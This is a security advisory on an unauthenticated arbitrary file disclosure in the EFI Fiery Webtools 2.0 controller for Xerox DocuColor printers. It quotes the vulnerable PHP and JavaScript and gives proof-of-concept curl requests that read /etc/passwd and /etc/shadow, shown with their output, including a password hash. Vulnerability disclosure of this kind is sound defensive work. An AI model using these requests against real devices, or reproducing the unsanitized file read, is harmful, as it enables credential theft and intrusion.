Xerox DC260 EFI Fiery Controller Webtools 2.0 Arbitrary File Disclosure


Vendor: Electronics for Imaging, Inc.
Product web page: http://www.efi.com
Affected version: EFI Fiery Controller SW2.0
                  Xerox DocuColor 260, 250, 242

Summary: Drive production profitability with Fiery servers and workflow
products. See which Fiery digital front end is right for your current
or future print engines and business needs. Manage all your printers
from a single screen using this intuitive print job management interface.

Desc: Input passed thru the 'file' GET parameter in 'forceSave.php'
script is not properly sanitized before being used to read files. This
can be exploited by an unauthenticated attacker to read arbitrary files
on the affected system.

======================================================================
/wt3/js/save.js:
----------------

103: function parseSaveMessages() {
104:     var urlNode = saveDocument.getElementsByTagName('url').item(0);
105:     var url = urlNode.firstChild.data;
106:     var forcedSaveUrl = "forceSave.php?file=" + url;
107:     window.open(forcedSaveUrl, 'save_iframe', 'width=1,height=1');

====

/wt3/forceSave.php:
-------------------
 1. <?php
 2. //code posted by chrisputnam at gmail dot com
 3. function readfile_chunked($filename,$retbytes=true)
 4. {
 5.     $chunksize = 1*(1024*1024); // how many bytes per chunk
 6.     $buffer = '';
 7.     $cnt =0;
 8.     // $handle = fopen($filename, 'rb');
 9.     $handle = fopen($filename, 'rb');
10.     if ($handle === false)
11.     {
12.          return false;
13.     }
14.     while (!feof($handle))
15.     {
16.          //read a chunk
17.          $buffer = fread($handle, $chunksize);
18.          //send the chunk
19.          echo $buffer;
20.          //flush the chunk
21.          flush();
22.          //increment the size read/sent
23.          if ($retbytes)
24.          {
25.            $cnt += strlen($buffer);
26.          }
27.     }
28.     //close file
29.     $status = fclose($handle);
30.     if ($retbytes && $status)
31.     {
32.          return $cnt; // return num. bytes delivered like readfile() does.
33.     }
34.     return $status;
35. }
36.
37. $filename = $_GET['file'];
38. if(!$filename)
39. { 
40.     echo "ERROR: No filename specified. Please try again."; 
41. }
42. else
43. {
44.     // fix for IE caching or PHP bug issue
45.     header("Pragma: public");
46.     header("Expires: 0"); // set expiration time
47.     header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
48.     // browser must download file from server instead of cache
49.
50.     // force download dialog
51.     header("Content-Type: application/force-download");
52.     header("Content-Type: application/octet-stream");
53.     header("Content-Type: application/download");
54.
55.     // use the Content-Disposition header to supply a recommended filename and
56.     // force the browser to display the save dialog.
57.     header("Content-Disposition: attachment; filename=" . basename($filename) . ";");
58.     header("Content-Transfer-Encoding: binary");
59.
60.     header("Content-Length: " . filesize($filename));
61.
62.     set_time_limit(0);
63.     readfile_chunked($filename, false);
64.
65.     exit();
66. }
67.
68. ?> 

======================================================================


Tested on: Debian GNU/Linux 3.1
           Apache
           PHP/5.4.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5447
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5447.php


20.12.2017

--


# curl "http://10.0.0.19/wt3/forceSave.php?file=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
games:x:5:100:games:/usr/games:/bin/sh
...
...


# curl "http://10.0.0.19/wt3/forceSave.php?file=/etc/shadow"
root:LUUVeT6GbOy9I:10978:0:99999:7:::
daemon:*:10979:0:99999:7:::
bin:*:10979:0:99999:7:::
sys:*:10979:0:99999:7:::
sync:*:10979:0:99999:7:::
games:*:10979:0:99999:7:::
...
...